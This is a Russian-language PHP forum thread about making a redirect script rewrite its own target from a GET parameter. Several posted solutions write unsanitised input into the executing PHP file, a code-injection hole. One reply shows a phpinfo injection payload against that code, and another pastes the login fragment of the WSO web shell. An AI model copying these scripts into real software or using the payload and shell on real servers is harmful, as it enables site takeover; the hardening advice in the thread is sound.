Простой скрипт, редактирующий сам себя

Discussion in 'PHP' started by Vald, 21 Feb 2019.

  1. Vald

    Vald Member

    Joined:
    6 Aug 2009
    Messages:
    25
    Likes Received:
    16
    Reputations:
    0
    Познания в PHP совсем новичковые.

    Столкнулся с такой необходимостью:
    Есть файл-прокладка redirect.php с редиректом самым простым, типа:
    <html>
    <meta http-equiv="refresh" content="0;https://yandex.ru">
    </html>

    В какой-то момент нужно заменить его на другую ссылку самым банальным способом - get-запросом.
    То есть после запроса site.ru/redirect.php?link=https://google.ru содержимое этого же файла менялось на:
    <html>
    <meta http-equiv="refresh" content="0;https://google.ru">
    </html>

    Как написать скрипт, который бы менял соседний файл - это понятно. А чтобы обновлял сам себя - застопорился. Может кто-то подсказать как делать или готовый вариант дать?
     
  2. randomword0x3f52

    Joined:
    15 Oct 2016
    Messages:
    30
    Likes Received:
    25
    Reputations:
    9
    Code:
    <html>
    <meta http-equiv="refresh" content="0;https://yandex.ru">
    </html><?php
    if( isset( $_GET ) && key_exists( 'content', $_GET ) ) {
    
        $LINE = file( __FILE__, FILE_IGNORE_NEW_LINES );
        $LINE[1] = '<meta http-equiv="refresh" content="0;'.$_GET['content'].'">';
    
        $return = file_put_contents( __FILE__, implode( PHP_EOL, $LINE ) );
       
        ob_clean();
        if( !is_int( $return ) )
            die( "Can't put content to file" );
        die( "File have new content" );
    }
    
     
    Vald likes this.
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460

    Изи, изи, этож почти веб-шелл получился ))
    Code:
    x.php?content=<?php+phpinfo();+?>
    

    Так будет посекурнее:
    PHP:
    <html>
    <meta http-equiv="refresh" content="0;https://yandex.ru">
    </html>
    <?php
    if( isset( $_GET['content'] ) && strpos($_GET['content'], 'http') === ) {

        
    $LINE file__FILE__FILE_IGNORE_NEW_LINES );
        
    $LINE[1] = '<meta http-equiv="refresh" content="0;'.htmlspecialchars$_GET['content']).'">';

        
    $return file_put_contents__FILE__implodePHP_EOL$LINE ) );
      
        
    ob_clean();
        if( !
    is_int$return ) )
            die( 
    "Can't put content to file" );
        die( 
    "File have new content" );
    }

    Но если дело только в редиректе, можно обойтись без PHP:
    PHP:
    <html>
    <
    script>
       var 
    loc '';
       var 
    url = new URL(window.location.href);
       var 
    content url.searchParams.get("content");
      
       if(
    content && content.indexOf("http") == 0)
           
    loc content;
       else
           
    loc'http://yandex.ru';

       
    document.location loc;
    </script>
    </html>

    Ну или с PHP:
    PHP:
    <meta http-equiv="refresh" content="0;<?=(@strpos($_GET['content'], 'http') === htmlspecialchars($_GET['content']) : 'https://yandex.ru')?>">
     
  4. randomword0x3f52

    Joined:
    15 Oct 2016
    Messages:
    30
    Likes Received:
    25
    Reputations:
    9
    Code:
    <?php
    $auth_pass = "63a9f0ea7bb98050796b649e85481845";
    
    if(get_magic_quotes_gpc()) {
        function WSOstripslashes($array) {
            return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
        }
        $_POST = WSOstripslashes($_POST);
        $_COOKIE = WSOstripslashes($_COOKIE);
    }
    
    function wsoLogin() {
        die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
    }
    
    function WSOsetcookie($k, $v) {
        $_COOKIE[$k] = $v;
        setcookie($k, $v);
    }
    
    if(!empty($auth_pass)) {
        if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
            WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
    
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
            wsoLogin();
    }
    
    
     
    Vald likes this.
  5. miketomlin

    miketomlin New Member

    Joined:
    2 Dec 2013
    Messages:
    15
    Likes Received:
    3
    Reputations:
    0
    Не обновлял сам себя, а просто динамически формировал нужный контент в зависимости от параметра. Для PHP это более чем обычное дело. Но чтобы данный скрипт в скором будущем не превратился в прокладку для п/сайтов, советую закладывать целевые в код/БД скрипта (целиком или хотя бы схему/хост, а все остальное наследовать, например /host1/целевая_в_пределах_этого_хоста). Я пользуюсь скриптом отсюда. Пример: u75.ru/firefox
     
    Vald likes this.
  6. Vald

    Vald Member

    Joined:
    6 Aug 2009
    Messages:
    25
    Likes Received:
    16
    Reputations:
    0
    О, спасибо всем за ответы) Уже и сам справился. Оказалось чуть проще, чем я думал, хз почему сразу не получалось.
    Сделал в общем так:
    PHP:
    <?
    if (!empty(
    $_GET["ln"]))
    {
    $fil basename(__FILE__);
    $ln $_GET["ln"];
    $text '<html><meta http-equiv="refresh" content="0;link"></html>';
    $fh fopen($fil'w');
    $text str_replace("link""$ln"$text);
    fwrite($fh$text);
    }
    else {};
    ?>
    Файл получается "одноразовый", но задачу выполняет.